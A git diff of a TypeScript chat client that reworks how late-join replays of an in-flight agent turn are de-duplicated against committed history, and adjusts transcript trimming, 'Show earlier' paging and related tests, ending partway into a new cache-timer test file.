-import { applyHistory, foldEvent, initialState } from "./reducer";
+import { applyHistory, foldEvent, initialState, markHistoryRecovering } from "./reducer";
import { selectChunks } from "./selectors";
+import { trimTranscript } from "./trim";
import type { TranscriptState } from "./types";
const C = "conv";
@@ -19,6 +20,7 @@ const think = (delta: string): AgentEvent => ({
turnId: T,
delta,
});
+const thinkEnd: AgentEvent = { type: "reasoning-end", conversationId: C, turnId: T };
const text = (delta: string): AgentEvent => ({
type: "text-delta",
conversationId: C,
@@ -131,6 +133,34 @@ describe("selectChunks — de-dup of a late-join replay against committed histor
expect(rendered.filter((r) => r.provisional)).toHaveLength(3);
});
+ it("preserves an uncommitted accumulating tail even when its text repeats history", () => {
+ const committed: StoredChunk[] = [
+ ...committedStep0,
+ { seq: 5, role: "assistant", chunk: { type: "text", text: "final" }, turnId: T },
+ ];
+ let s = applyHistory(initialState(), committed);
+ s = markHistoryRecovering(s, T);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), text("final")]);
+ const rendered = selectChunks(s);
+ expect(rendered).toHaveLength(6);
+ expect(rendered.slice(0, 5).every((r) => !r.provisional)).toBe(true);
+ expect(rendered[5]).toMatchObject({
+ provisional: true,
+ streaming: true,
+ chunk: { type: "text", text: "final" },
+ });
+ });
+
+ it("reconciles the same step identity even when provisional payload differs", () => {
+ let s = applyHistory(initialState(), committedStep0);
+ s = markHistoryRecovering(s, T);
+ s = fold(s, [userMsg, turnStart, think("DIFFERENT"), call("a"), result("a")]);
+ const rendered = selectChunks(s);
+ // Authoritative identity wins; payload equality cannot identify omitted/truncated content.
+ expect(rendered.filter((r) => r.provisional)).toHaveLength(0);
+ expect(rendered.map((r) => r.chunk)).toEqual(committedStep0.map((r) => r.chunk));
+ });
+
it("does nothing when the committed tail belongs to another turn", () => {
const other = committedStep0.map((c) => ({ ...c, turnId: "older" }));
let s = applyHistory(initialState(), other);
@@ -138,6 +168,204 @@ describe("selectChunks — de-dup of a late-join replay against committed histor
expect(selectChunks(s).filter((r) => r.provisional)).toHaveLength(2);
});
+ it("de-dups the replay when the committed turn's head was unloaded (windowed/trimmed)", () => {
+ // A long in-flight turn: the chat-limit window/trim unloaded the turn's
+ // head (seq 1–2), so the committed run starts mid-turn while the late-join
+ // replay re-delivers the WHOLE turn from its opening. Positional alignment
+ // from the turn start fails at index 0; without re-anchoring, the whole
+ // replay rendered as a duplicate whose tool cards collapsed onto the
+ // committed ones — leaving a tail of thinking blocks with no tool calls.
+ let s = trimTranscript(applyHistory(initialState(), committedStep0), 2);
+ expect(s.committed.map((c) => c.seq)).toEqual([3, 4]);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), think("next")]);
+ const rendered = selectChunks(s);
+ expect(rendered.map((r) => [r.seq, r.chunk.type])).toEqual([
+ [3, "tool-call"],
+ [4, "tool-result"],
+ [null, "thinking"],
+ ]);
+ expect(rendered[2]).toMatchObject({ streaming: true, chunk: { text: "next" } });
+ });
+
+ it("de-dups when the provisional replay starts after the committed run's head", () => {
+ // Provisional trimmed past the committed head (e.g. committed restored via
+ // "Show earlier" after an all-provisional overflow): re-anchor on the
+ // provisional head instead.
+ let s = applyHistory(initialState(), committedStep0);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), call("b", 1)]);
+ s = { ...s, provisional: s.provisional.slice(2) }; // drop user + thinking
+ const rendered = selectChunks(s);
+ expect(rendered.map((r) => [r.seq, r.chunk.type])).toEqual([
+ [1, "text"],
+ [2, "thinking"],
+ [3, "tool-call"],
+ [4, "tool-result"],
+ [null, "tool-call"],
+ ]);
+ });
+
+ it("re-anchors on a persisted tool call even if the replay diverges after it", () => {
+ // A toolCallId is a unique identity: everything the replay delivered before
+ // it was persisted earlier in the turn (append-only), so it is unloaded
+ // history — not divergent content. The divergence itself stays visible.
+ let s = applyHistory(initialState(), committedStep0.slice(2));
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("OTHER")]);
+ const provisional = selectChunks(s).filter((r) => r.provisional);
+ expect(provisional.map((r) => r.chunk)).toMatchObject([
+ { type: "tool-result", toolCallId: "OTHER" },
+ ]);
+ });
+
+ it("does not re-anchor on an unverified text match (never hides divergent content)", () => {
+ const committed: StoredChunk[] = [
+ { seq: 7, role: "assistant", chunk: { type: "thinking", text: "plan" }, turnId: T },
+ { seq: 8, role: "assistant", chunk: { type: "text", text: "persisted" }, turnId: T },
+ ];
+ let s = applyHistory(initialState(), committed);
+ s = fold(s, [userMsg, turnStart, think("plan"), text("diverged"), call("z")]);
+ // "plan" matches but the next chunk diverges: no anchor → nothing hidden.
+ expect(selectChunks(s).filter((r) => r.provisional)).toHaveLength(4);
+ });
+
+ it("steps over persisted images the replay can never carry", () => {
+ // A tool attached an image mid-turn: history persists it as a user image
+ // chunk, but no live event carries it, so the replay lacks it.
+ const image: StoredChunk = {
+ seq: 5,
+ role: "user",
+ chunk: { type: "image", url: "/images/conv/x.png" },
+ turnId: T,
+ };
+ const thinking: StoredChunk = {
+ seq: 6,
+ role: "assistant",
+ chunk: { type: "thinking", text: "look" },
+ turnId: T,
+ };
+ let s = applyHistory(initialState(), [...committedStep0, image, thinking]);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), think("look")]);
+ s = fold(s, [call("b", 1)]);
+ const provisional = selectChunks(s).filter((r) => r.provisional);
+ expect(provisional.map((r) => r.chunk)).toMatchObject([{ type: "tool-call", toolCallId: "b" }]);
+ });
+
+ it("matches one merged thinking block against its split committed blocks (Claude)", () => {
+ // Claude may return several thinking blocks in one step; history persists
+ // each as its own chunk, but reasoning-deltas carry no block boundary, so
+ // the replay delivers them merged into one thinking chunk.
+ const split: StoredChunk[] = [
+ committedStep0[0] as StoredChunk,
+ { seq: 2, role: "assistant", chunk: { type: "thinking", text: "first. " }, turnId: T },
+ { seq: 3, role: "assistant", chunk: { type: "thinking", text: "second." }, turnId: T },
+ { ...(committedStep0[2] as StoredChunk), seq: 4 },
+ { ...(committedStep0[3] as StoredChunk), seq: 5 },
+ ];
+ let s = applyHistory(initialState(), split);
+ s = fold(s, [userMsg, turnStart, think("first. "), think("second."), call("a"), result("a")]);
+ s = fold(s, [think("next")]);
+ const rendered = selectChunks(s);
+ expect(rendered.map((r) => [r.seq, r.chunk.type])).toEqual([
+ [1, "text"],
+ [2, "thinking"],
+ [3, "thinking"],
+ [4, "tool-call"],
+ [5, "tool-result"],
+ [null, "thinking"],
+ ]);
+ });
+
+ it("hides an accumulating merged block once its split blocks are committed", () => {
+ const split: StoredChunk[] = [
+ ...committedStep0,
+ { seq: 5, role: "assistant", chunk: { type: "thinking", text: "a" }, turnId: T },
+ { seq: 6, role: "assistant", chunk: { type: "thinking", text: "b" }, turnId: T },
+ ];
+ let s = applyHistory(initialState(), split);
+ s = fold(s, [userMsg, turnStart, think("plan"), call("a"), result("a"), think("ab")]);
+ expect(selectChunks(s).every((r) => !r.provisional)).toBe(true);
+ });
+
+ it("re-anchors on a tool chunk when the window cut between split blocks", () => {
+ // The committed head is the SECOND of two split blocks: it equals no
+ // provisional chunk, so alignment anchors on the run's first tool chunk.
+ const committed: StoredChunk[] = [
+ { seq: 3, role: "assistant", chunk: { type: "thinking", text: "second." }, turnId: T },
+ { ...(committedStep0[2] as StoredChunk), seq: 4 },
+ { ...(committedStep0[3] as StoredChunk), seq: 5 },
+ ];
+ let s = applyHistory(initialState(), committed);
+ s = fold(s, [userMsg, turnStart, think("first. second."), call("a"), result("a")]);
+ s = fold(s, [call("b", 1)]);
+ const provisional = selectChunks(s).filter((r) => r.provisional);
+ expect(provisional.map((r) => r.chunk)).toMatchObject([{ type: "tool-call", toolCallId: "b" }]);
+ });
+
+ it("aligns a boundary-carrying replay 1:1 against split committed blocks", () => {
+ const split: StoredChunk[] = [
+ committedStep0[0] as StoredChunk,
+ { seq: 2, role: "assistant", chunk: { type: "thinking", text: "first. " }, turnId: T },
+ { seq: 3, role: "assistant", chunk: { type: "thinking", text: "second." }, turnId: T },
+ { ...(committedStep0[2] as StoredChunk), seq: 4 },
+ { ...(committedStep0[3] as StoredChunk), seq: 5 },
+ ];
+ let s = applyHistory(initialState(), split);
+ s = fold(s, [
+ userMsg,
+ turnStart,
+ think("first. "),
+ thinkEnd,
+ think("second."),
+ thinkEnd,
+ call("a"),
+ result("a"),
+ text("next"),
+ ]);
+ const rendered = selectChunks(s);
+ expect(rendered.map((r) => [r.seq, r.chunk.type])).toEqual([
+ [1, "text"],
+ [2, "thinking"],
+ [3, "thinking"],
+ [4, "tool-call"],
+ [5, "tool-result"],
+ [null, "text"],
+ ]);
+ expect(rendered[5]?.streaming).toBe(true);
+ });
+
+ it("aligns a redacted empty block with a bare reasoning-end", () => {
+ const split: StoredChunk[] = [
+ committedStep0[0] as StoredChunk,
+ { seq: 2, role: "assistant", chunk: { type: "thinking", text: "first. " }, turnId: T },
+ { seq: 3, role: "assistant", chunk: { type: "thinking", text: "" }, turnId: T },
+ { seq: 4, role: "assistant", chunk: { type: "thinking", text: "second." }, turnId: T },
+ { ...(committedStep0[2] as StoredChunk), seq: 5 },
+ { ...(committedStep0[3] as StoredChunk), seq: 6 },
+ ];
+ let s = applyHistory(initialState(), split);
+ s = fold(s, [
+ userMsg,
+ turnStart,
+ think("first. "),
+ thinkEnd,
+ thinkEnd,
+ think("second."),
+ thinkEnd,
+ call("a"),
+ result("a"),
+ text("next"),
+ ]);
+ const rendered = selectChunks(s);
+ expect(rendered.map((r) => [r.seq, r.chunk.type])).toEqual([
+ [1, "text"],
+ [2, "thinking"],
+ [3, "thinking"],
+ [4, "thinking"],
+ [5, "tool-call"],
+ [6, "tool-result"],
+ [null, "text"],
+ ]);
+ });
+
it("is the identity when there is no committed history", () => {
const s = fold(initialState(), [userMsg, turnStart, text("hello")]);
expect(selectChunks(s)).toHaveLength(2);
diff --git a/src/core/chunks/selectors.ts b/src/core/chunks/selectors.ts
index d32a628..8d32fcf 100644
--- a/src/core/chunks/selectors.ts
+++ b/src/core/chunks/selectors.ts
@@ -1,4 +1,5 @@
import type { ChatMessage, Chunk, StoredChunk, TurnProviderRetryEvent } from "@dispatch/wire";
+import { historyBackedProvisional } from "./reconcile";
import type { ProvisionalChunk, RenderedChunk, TranscriptState } from "./types";
/**
@@ -26,15 +27,163 @@ function sameChunk(p: ProvisionalChunk, c: StoredChunk): boolean {
}
/**
+ * A committed chunk with no live-event counterpart, so a late-join replay can
+ * never contain it: an image persisted into the turn's history (pasted-image
+ * openings, images a tool attaches mid-turn). Alignment steps over it.
+ */
+function replayless(c: StoredChunk): boolean {
+ return c.chunk.type === "image";
+}
+
+/** Where an alignment walk stopped, and whether it stopped on a mismatch. */
+interface Walk {
+ /** First provisional index NOT matched. */
+ readonly p: number;
+ /** First committed index NOT matched (replayless chunks stepped over). */
+ readonly c: number;
+ readonly matched: number;
+ /** Ended because a side ran out — no mismatch. */
+ readonly complete: boolean;
+}
+
+/**
+ * How many consecutive committed chunks starting at `c` one provisional text /
+ * thinking chunk stands for: their texts must concatenate EXACTLY to its text
+ * (≥ 2 chunks; 0 = no such run). A provider may return several blocks in one
+ * step (Claude emits multiple thinking blocks, each with its own signature)
+ * which history persists as separate chunks, while the delta stream carries
+ * no block boundary — so live (and in the replay) they arrive merged.
+ */
+function mergedRun(
+ state: TranscriptState,
+ text: string,
+ kind: string,
+ role: string,
+ c: number,
+): number {
+ let joined = "";
+ for (let k = c; k < state.committed.length; k++) {
+ const row = state.committed[k];
+ if (row === undefined || row.role !== role || row.chunk.type !== kind) return 0;
+ if (row.chunk.type !== "text" && row.chunk.type !== "thinking") return 0;
+ joined += row.chunk.text;
+ if (joined === text) return k - c + 1 >= 2 ? k - c + 1 : 0;
+ if (!text.startsWith(joined)) return 0;
+ }
+ return 0;
+}
+
+/**
+ * Walk provisional (from `p`) and committed (from `c`) of turn `turnId` in
+ * lockstep, stepping over committed chunks the replay cannot carry and
+ * matching one merged provisional block against its split committed run.
+ * Stops at the first mismatch or when either side runs out.
+ */
+function walk(state: TranscriptState, turnId: string, p: number, c: number): Walk {
+ let matched = 0;
+ for (;;) {
+ const prov = state.provisional[p];
+ let row = state.committed[c];
+ while (row !== undefined && replayless(row) && prov?.chunk.type !== "image") {
+ row = state.committed[++c];
+ }
+ if (prov === undefined || row === undefined) return { p, c, matched, complete: true };
+ if (prov.turnId !== turnId) return { p, c, matched, complete: false };
+ let span = sameChunk(prov, row) ? 1 : 0;
+ if (span === 0 && (prov.chunk.type === "text" || prov.chunk.type === "thinking")) {
+ span = mergedRun(state, prov.chunk.text, prov.chunk.type, prov.role, c);
+ }
+ if (span === 0) return { p, c, matched, complete: false };
+ p++;
+ c += span;
+ matched++;
+ }
+}
+
+/**
+ * Accept a re-anchored alignment. A tool chunk is a unique identity
+ * (`toolCallId`), so a match on one is trusted outright; a text-bearing match
+ * must be confirmed by the WHOLE overlap aligning (no mismatch), so a repeated
+ * text can never hide divergent content.
+ */
+function anchored(w: Walk, anchor: StoredChunk): boolean {
+ if (w.matched === 0) return false;
+ return w.complete || anchor.chunk.type === "tool-call" || anchor.chunk.type === "tool-result";
+}
+
+/**
+ * Align the provisional run with the committed run of turn T (which begins at
+ * committed index `start`). Returns how many leading provisional chunks are
+ * hidden as already committed, and the walk's end.
+ *
+ * Normally both start at the turn's opening. But the chat-limit window (fresh
+ * load `?limit=` / `windowTranscript`) and `trimTranscript` unload the OLDEST
+ * committed chunks, so in a long in-flight turn the committed run is a SUFFIX
+ * of the turn while the late-join replay re-delivers the whole turn from its
+ * `turn-start`: re-anchor on the committed head inside the replay, and hide
+ * the replayed chunks before it too (persisted history, unloaded — pageable
+ * via "Show earlier"). Conversely, provisional overflow trimming can leave the
+ * replay starting after the committed head: re-anchor on the replay's head
+ * inside the committed run. Unverifiable → the plain prefix walk (fail-safe:
+ * a misalignment shows a duplicate, never hides content).
+ */
+function align(state: TranscriptState, turnId: string, start: number): Walk {
+ const direct = walk(state, turnId, 0, start);
+ // Aligned from the turn's head (or fully consistent): plain prefix semantics.
+ if (direct.complete || direct.matched > 0) return direct;
+ let headAt = start;
+ while (
+ state.committed[headAt] !== undefined &&
+ replayless(state.committed[headAt] as StoredChunk)
+ )
+ headAt++;
+ // Anchor on the committed head — or, when the head is unmatchable (e.g. the
+ // window cut between two blocks a merged provisional chunk spans), on the
+ // run's first tool chunk, a unique identity.
+ const anchorsAt = [headAt];
+ for (let i = headAt + 1; i < state.committed.length; i++) {
+ const t = state.committed[i]?.chunk.type;
+ if (t === "tool-call" || t === "tool-result") {
+ anchorsAt.push(i);
+ break;
+ }
+ }
+ for (const at of anchorsAt) {
+ const head = state.committed[at];
+ if (head === undefined) continue;
+ for (let k = 1; k < state.provisional.length; k++) {
+ const p = state.provisional[k];
+ if (p?.turnId !== turnId || !sameChunk(p, head)) continue;
+ const w = walk(state, turnId, k, at);
+ if (anchored(w, head)) return w;
+ }
+ }
+ const p0 = state.provisional[0];
+ if (p0 !== undefined) {
+ for (let j = headAt + 1; j < state.committed.length; j++) {
+ const row = state.committed[j];
+ if (row === undefined || !sameChunk(p0, row)) continue;
+ const w = walk(state, turnId, 0, j);
+ if (anchored(w, row)) return w;
+ }
+ }
+ return direct;
+}
+
+/**
* How many LEADING provisional chunks are already backed by committed chunks.
*
* The backend persists each step of an in-flight turn as it completes (CR-6),
* so a client that opens a conversation mid-turn gets those steps from history
* AND again from the late-join event replay (as provisional chunks). Both
* carry the turn's chunks in the same order, so the provisional run of turn T
- * is aligned position-by-position with the committed run of turn T. Skip the
- * aligned prefix; stop at the first mismatch (fail-safe: a misalignment shows
- * a duplicate, never hides content).
+ * is aligned chunk-by-chunk with the committed run of turn T (see `align`).
+ * Skip the aligned prefix; stop at the first mismatch.
+ *
+ * A failed alignment renders the ENTIRE replay as a duplicate — and because
+ * tool cards de-dup by `toolCallId` onto the first (committed) occurrence,
+ * that duplicate tail shows only thinking/text blocks ("the tool calls
+ * disappear"). Hence the re-anchoring and the replayless-image stepping.
*
* Also reports whether the ACCUMULATING chunk is already committed (the step
* completed + history synced, but the next live event hasn't flushed it yet).
@@ -42,41 +191,59 @@ function sameChunk(p: ProvisionalChunk, c: StoredChunk): boolean {
function committedOverlap(state: TranscriptState): { skip: number; hideAccumulating: boolean } {
const first = state.provisional[0];
const turnId = first?.turnId ?? state.accumulating?.turnId;
- if (turnId === undefined) return { skip: 0, hideAccumulating: false };
+ if (turnId === undefined || state.historyRecoveryTurnIds?.includes(turnId))
+ return { skip: 0, hideAccumulating: false };
// The committed run for this turn (contiguous at the tail of `committed`).
let start = state.committed.length;
while (start > 0 && state.committed[start - 1]?.turnId === turnId) start--;
- const run = state.committed.length - start;
- if (run === 0) return { skip: 0, hideAccumulating: false };
-
- let skip = 0;
- while (skip < state.provisional.length && skip < run) {
- const p = state.provisional[skip];
- const c = state.committed[start + skip];
- if (p === undefined || c === undefined || p.turnId !== turnId || !sameChunk(p, c)) break;
- skip++;
- }
+ if (start === state.committed.length) return { skip: 0, hideAccumulating: false };
+
+ const end = align(state, turnId, start);
+ const skip = end.p;
let hideAccumulating = false;
const acc = state.accumulating;
- if (acc !== null && skip === state.provisional.length && skip < run) {
- const c = state.committed[start + skip];
+ if (acc !== null && acc.turnId === turnId && skip === state.provisional.length) {
+ let next = end.c;
+ while (state.committed[next] !== undefined && replayless(state.committed[next] as StoredChunk))
+ next++;
+ const c = state.committed[next];
hideAccumulating =
- c !== undefined &&
- c.role === "assistant" &&
- c.chunk.type === acc.kind &&
- c.chunk.text === acc.text;
+ (c !== undefined &&
+ c.role === "assistant" &&
+ c.chunk.type === acc.kind &&
+ c.chunk.text === acc.text) ||
+ mergedRun(state, acc.text, acc.kind, "assistant", next) > 0;
}
return { skip, hideAccumulating };
}
/**
+ * How many chunks `selectChunks` would render, without materializing them.
+ * Provisional chunks hidden as history-backed / replay duplicates of committed
+ * chunks are NOT counted — the chat limit bounds what is on screen, and
+ * counting invisible duplicates would unload real history to make room for them.
+ */
+export function selectRenderedCount(state: TranscriptState): number {
+ const backed = historyBackedProvisional(state);
+ const { skip, hideAccumulating } = committedOverlap(state);
+ let count = state.committed.length;
+ for (let i = skip; i < state.provisional.length; i++) {
+ const p = state.provisional[i];
+ if (p !== undefined && !backed.has(p)) count++;
+ }
+ if (state.accumulating !== null && !hideAccumulating) count++;
+ return count;
+}
+
+/**
* Select all chunks for rendering: committed first (seq order),
- * then provisional (seq: null) — minus provisional chunks already backed by
- * committed history (see `committedOverlap`).
+ * then provisional (seq: null), excluding history-backed identities. Unknown
+ * accumulating content stays live, even if its text equals an earlier step.
*/
export function selectChunks(state: TranscriptState): readonly RenderedChunk[] {
const result: RenderedChunk[] = [];
+ const backed = historyBackedProvisional(state);
const { skip, hideAccumulating } = committedOverlap(state);
for (const c of state.committed) {
result.push(
@@ -87,7 +254,7 @@ export function selectChunks(state: TranscriptState): readonly RenderedChunk[] {
}
for (let i = skip; i < state.provisional.length; i++) {
const p = state.provisional[i];
- if (p === undefined) continue;
+ if (p === undefined || backed.has(p)) continue;
result.push(
p.turnId !== undefined
? { seq: null, role: p.role, chunk: p.chunk, provisional: true, turnId: p.turnId }
diff --git a/src/core/chunks/trim.test.ts b/src/core/chunks/trim.test.ts
index 7c4bbef..dcc1755 100644
--- a/src/core/chunks/trim.test.ts
+++ b/src/core/chunks/trim.test.ts
@@ -103,6 +103,19 @@ describe("trimTranscript", () => {
expect(next.accumulating).not.toBeNull();
});
+ it("does not count a late-join replay's duplicates of committed chunks", () => {
+ // An in-flight turn of 8 persisted chunks + its late-join replay (8 more
+ // provisional copies). Only 8 are rendered, so a limit of 10 keeps them all
+ // instead of unloading real history to make room for invisible duplicates.
+ const T = "turn";
+ const committed = chunks(1, 8).map((c) => ({ ...c, turnId: T }));
+ const state: TranscriptState = {
+ ...stateWith(committed),
+ provisional: committed.map((c) => ({ role: c.role, chunk: c.chunk, turnId: T })),
+ };
+ expect(trimTranscript(state, 10)).toBe(state);
+ });
+
it("drops oldest provisional when committed is exhausted", () => {
const base = stateWith(chunks(1, 2));
const provisional = Array.from({ length: 20 }, (_, i) => ({
@@ -146,7 +159,7 @@ describe("windowTranscript", () => {
it("is the identity within the window", () => {
const state = stateWith(chunks(1, 50));
expect(windowTranscript(state, 75)).toBe(state);
- expect(selectHasEarlier(state)).toBe(false);
+ expect(selectHasEarlier(state, 1)).toBe(false);
});
});
@@ -178,21 +191,21 @@ describe("restoreEarlier", () => {
expect(selectHasEarlier(restored)).toBe(true);
});
- it("restoring down to seq 1 reaches the contractual origin (hasEarlier clears)", () => {
+ it("restoring down to a known boundary clears hasEarlier", () => {
const windowed = windowTranscript(stateWith(chunks(1, 100)), 75); // hidden: 1..25
const restored = restoreEarlier(windowed, chunks(1, 100), 64);
expect(restored.committed).toHaveLength(100);
expect(restored.committed[0]?.seq).toBe(1);
expect(restored.hiddenBeforeSeq).toBe(1); // floor at the origin — inert
expect(restored.hiddenThinkingCount).toBe(0);
- expect(selectHasEarlier(restored)).toBe(false);
+ expect(selectHasEarlier(restored, 1)).toBe(false);
});
it("is the identity when nothing older is known locally (server may still hold more)", () => {
const windowed = windowTranscript(stateWith(chunks(50, 200)), 75);
const restored = restoreEarlier(windowed, [], 64);
expect(restored).toBe(windowed);
- // seqs are 1-based gap-free: window starts at 126 ⇒ older chunks DO exist.
+ // The server boundary is unknown, so another page may exist.
expect(selectHasEarlier(restored)).toBe(true);
});
@@ -203,7 +216,7 @@ describe("restoreEarlier", () => {
it("works on a server-windowed transcript (no local watermark)", () => {
// A cold-cache fresh load with `?limit=` commits a suffix (seq 809..1000)
- // with hiddenBeforeSeq still 0 — hasEarlier derives from seq > 1, and a
+ // with hiddenBeforeSeq still 0 — the server boundary is unknown, and a
// backfilled run merges below it.
const state = stateWith(chunks(809, 1000));
expect(state.hiddenBeforeSeq).toBe(0);
@@ -230,6 +243,15 @@ describe("restoreEarlier", () => {
const restored = restoreEarlier(trimmed, original, 1000);
expect(restored.committed).toEqual(original);
expect(restored.hiddenBeforeSeq).toBe(1);
- expect(selectHasEarlier(restored)).toBe(false);
+ expect(selectHasEarlier(restored, 1)).toBe(false);
});
});
+
+it("uses a non-1 history boundary rather than the seq origin", () => {
+ const state = stateWith(chunks(101, 110));
+ expect(selectHasEarlier(state, 101)).toBe(false);
+ expect(selectHasEarlier(state, null)).toBe(true);
+ const windowed = windowTranscript(state, 5);
+ expect(selectHasEarlier(windowed, 101)).toBe(true);
+ expect(selectHasEarlier(restoreEarlier(windowed, state.committed, 5), 101)).toBe(false);
+});
diff --git a/src/core/chunks/trim.ts b/src/core/chunks/trim.ts
index 9846357..6612bfe 100644
--- a/src/core/chunks/trim.ts
+++ b/src/core/chunks/trim.ts
@@ -14,6 +14,7 @@
// "Show earlier messages" affordance knows where to page back in from.
import type { StoredChunk } from "@dispatch/wire";
+import { selectRenderedCount } from "./selectors";
import type { TranscriptState } from "./types";
/** Default chat limit (max loaded chunks per conversation). */
@@ -46,9 +47,14 @@ export function initialWindowSize(limit: number): number {
return Math.max(1, Math.floor(limit * 0.75));
}
-/** Total loaded (rendered) chunk count: committed + provisional + accumulating. */
+/**
+ * Total loaded (rendered) chunk count: committed + provisional + accumulating,
+ * EXCLUDING provisional replay duplicates of committed chunks (a late-join
+ * replay re-delivers an in-flight turn's already-persisted steps). Counting
+ * those invisible duplicates unloaded real history to make room for them.
+ */
function totalCount(state: TranscriptState): number {
- return state.committed.length + state.provisional.length + (state.accumulating !== null ? 1 : 0);
+ return selectRenderedCount(state);
}
function countThinking(chunks: readonly StoredChunk[]): number {
@@ -150,8 +156,7 @@ function oldestLoadedSeq(state: TranscriptState): number {
* `?beforeSeq=` backfill; chunks at/inside the window are ignored). The newest
* `count` of them are merged back in front of `committed`, and the watermark
* follows the new window start so history merges still can't resurrect what
- * remains unloaded. Identity when the window already starts at seq 1 (the
- * contractual origin) or nothing older is known locally.
+ * remains unloaded. Identity when nothing older is known locally.
*/
export function restoreEarlier(
state: TranscriptState,
@@ -159,7 +164,7 @@ export function restoreEarlier(
count: number,
): TranscriptState {
const oldest = oldestLoadedSeq(state);
- if (oldest <= 1) return state;
+ if (oldest === 0) return state;
const below = earlier.filter((c) => c.seq < oldest).sort((a, b) => a.seq - b.seq);
if (below.length === 0) return state;
const keep = below.slice(-Math.max(1, count));
@@ -172,14 +177,11 @@ export function restoreEarlier(
};
}
-/**
- * Whether earlier history exists below the loaded window — drives the
- * "Show earlier messages" affordance. Derived from the [email protected] CONTRACT
- * that per-conversation seqs are 1-based and gap-free: a loaded window that
- * starts above seq 1 means older chunks exist (locally cached or server-side),
- * whether the window came from a local trim or a server-windowed (`?limit=`)
- * fresh load.
- */
-export function selectHasEarlier(state: TranscriptState): boolean {
- return oldestLoadedSeq(state) > 1;
+/** Earlier availability uses the known server boundary, never a seq origin. */
+export function selectHasEarlier(
+ state: TranscriptState,
+ earliestSeq: number | null = null,
+): boolean {
+ const oldest = oldestLoadedSeq(state);
+ return oldest > 0 && (earliestSeq === null || oldest > earliestSeq);
}
diff --git a/src/core/chunks/types.ts b/src/core/chunks/types.ts
index 949857a..2e2ee0c 100644
--- a/src/core/chunks/types.ts
+++ b/src/core/chunks/types.ts
@@ -2,6 +2,7 @@ import type { Chunk, Role, StoredChunk, TurnProviderRetryEvent, Usage } from "@d
/** A chunk being accumulated from streaming deltas (text or thinking). */
export interface AccumulatingChunk {
+ readonly stepId?: string;
readonly kind: "text" | "thinking";
readonly text: string;
/** The turn generating this chunk (from the live event's `turnId`). */
@@ -10,6 +11,13 @@ export interface AccumulatingChunk {
/** A provisional chunk that has no authoritative seq yet. */
export interface ProvisionalChunk {
+ /** Local provenance learned from tool-call/step-complete, not content. */
+ readonly stepId?: string;
+ readonly opening?: boolean;
+ /** Steering is persisted immediately after this completed tool batch. */
+ readonly afterToolCallId?: string;
+ /** Local send identity only; turn-start tagging does NOT confirm this content. */
+ readonly localRequestId?: string;
readonly role: Role;
readonly chunk: Chunk;
/**
@@ -22,6 +30,8 @@ export interface ProvisionalChunk {
/** The transcript reducer state. Holds committed history + live in-flight turn. */
export interface TranscriptState {
+ /** Turns with omitted delivery: never use payload equality as replay identity. */
+ readonly historyRecoveryTurnIds?: readonly string[];
readonly committed: readonly StoredChunk[];
readonly provisional: readonly ProvisionalChunk[];
readonly accumulating: AccumulatingChunk | null;
diff --git a/src/core/metrics/cache-timer.test.ts b/src/core/metrics/cache-timer.test.ts
new file mode 100644
index 0000000..d450135
--- /dev/null
+++ b/src/core/metrics/cache-timer.test.ts
@@ -0,0 +1,359 @@
+import type { AgentEvent, StepId, TurnMetrics } from "@dispatch/wire";
+import { describe, expect, it } from "vitest";
+import type { RenderGroup } from "../chunks";
+import {
+ CACHE_TIMER_MAX_MS,
+ CACHE_TTL_MS,
+ type CacheTimerState,
+ foldCacheTimerEvent,
+ initialCacheTimerState,
+ lastTurnRowIndex,
+ seedTurnGap,
+ stopTurnGap,
+ viewCacheTimer,
+} from "./cache-timer";
+import type { MetricsRow } from "./types";
+
+const SEC = 1000;
+const MIN = 60 * SEC;
+const C = "conv";
+
+const ev = {
+ turnStart: (turnId: string): AgentEvent => ({ type: "turn-start", conversationId: C, turnId }),
+ userMessage: (turnId: string): AgentEvent => ({
+ type: "user-message",
+ conversationId: C,
+ turnId,
+ text: "hi",
+ }),
+ text: (turnId: string): AgentEvent => ({
+ type: "text-delta",
+ conversationId: C,
+ turnId,
+ delta: "x",
+ }),
+ reasoningEnd: (turnId: string): AgentEvent => ({
+ type: "reasoning-end",
+ conversationId: C,
+ turnId,
+ }),
+ call: (turnId: string, stepId: string, toolCallId: string): AgentEvent => ({
+ type: "tool-call",
+ conversationId: C,
+ turnId,
+ stepId: stepId as StepId,
+ toolCallId,
+ toolName: "t",
+ input: {},
+ }),
+ result: (
+ turnId: string,
+ stepId: string,
+ toolCallId: string,
+ durationMs?: number,
+ ): AgentEvent => ({
+ type: "tool-result",
+ conversationId: C,
+ turnId,
+ stepId: stepId as StepId,
+ toolCallId,
+ toolName: "t",
+ content: "ok",
+ isError: false,
+ ...(durationMs !== undefined ? { durationMs } : {}),
+ }),
+ stepComplete: (turnId: string, stepId: string): AgentEvent => ({
+ type: "step-complete",
+ conversationId: C,
+ turnId,
+ stepId: stepId as StepId,
+ }),
+ usage: (turnId: string, stepId: string): AgentEvent => ({
+ type: "usage",
+ conversationId: C,
+ turnId,
+ stepId: stepId as StepId,
+ usage: { inputTokens: 1, outputTokens: 1 },
+ }),
+ done: (turnId: string): AgentEvent => ({
+ type: "done",
+ conversationId: C,
+ turnId,
+ reason: "end-turn",
+ }),
+ error: (turnId: string): AgentEvent => ({
+ type: "error",
+ conversationId: C,
+ turnId,
+ message: "boom",
+ }),
+};
+
+const noTurn = () => undefined;
+
+/** Fold `[time, event]` pairs from the initial state. */
+function run(
+ steps: readonly (readonly [number, AgentEvent])[],
+ start: CacheTimerState = initialCacheTimerState(),
+ lastTurnId: () => string | undefined = noTurn,
+): CacheTimerState {
+ return steps.reduce((s, [at, e]) => foldCacheTimerEvent(s, e, at, lastTurnId), start);
+}
+
+describe("foldCacheTimerEvent — step gaps", () => {
+ it("runs from step-complete while tools execute, and stamps when the last result returns", () => {
+ const s1 = run([
+ [0, ev.turnStart("t1")],
+ [100, ev.call("t1", "t1#0", "a")],
+ [110, ev.call("t1", "t1#0", "b")],
+ [1_000, ev.stepComplete("t1", "t1#0")],
+ ]);
+ expect(s1.running).toMatchObject({
+ kind: "step",
+ stepId: "t1#0",
+ startedAt: 1_000,
+ toolCount: 2,
+ });
+
+ const s2 = run([[4_000, ev.result("t1", "t1#0", "a")]], s1);
+ expect(s2.running?.kind).toBe("step"); // still waiting on "b"
